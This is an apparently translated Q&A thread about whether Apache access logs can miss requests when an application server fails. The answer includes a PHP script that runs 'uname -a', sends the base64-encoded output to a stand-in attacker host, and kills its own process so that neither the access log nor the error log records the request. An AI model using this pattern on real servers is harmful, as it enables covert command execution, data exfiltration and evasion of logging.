4

我的工作场所在各种 Java 应用程序服务器前安装了 Apache。我经常不得不调查生产问题并依赖那些记录对应用程序服务器的所有请求的 Apache 访问日志,无论它们是成功 (200)、重定向 (302)、错误 (500) 还是其他状态。

然而,有几次,通常当应用程序服务器变得无响应并需要重新启动时,看起来可能有些请求没有被记录。

我已经尝试在本地复制它(启动一个长时间运行的请求并允许请求超过 Apache 服务器上的超时时间,或者只是从命令行中终止应用程序服务器),但我总是在访问日志中记录一个请求。

我的问题是,假设 Apache 运行良好但面临应用服务器问题,Apache 访问日志会错过请求吗?

4

1 回答 1

4

在某些情况下它可能会错过请求,文档包含重要的句子:

服务器访问日志记录了服务器处理的所有请求。

所以如果请求没有被处理,那么我们不应该期望进入access_log。如果您想知道这种情况是否可以轻松重现,那么我找到了一种方法。

考虑以下 PHP 代码 ( test.php ):

<?php
$cmd_result = shell_exec('uname -a');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));
exec('kill -9 ' . getmypid());

您还必须使用 prefork MPM 和 mod_php 模块运行 Apache。然后使用浏览器或 telnet 发出请求:

$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /test.php HTTP/1.0

Connection closed by foreign host.

如您所见,连接已关闭,没有任何响应。access_logerror_log中也没有日志,尽管执行了代码并且攻击者收到了 command 的编码结果uname -a

于 2018-07-09T23:16:02.113 回答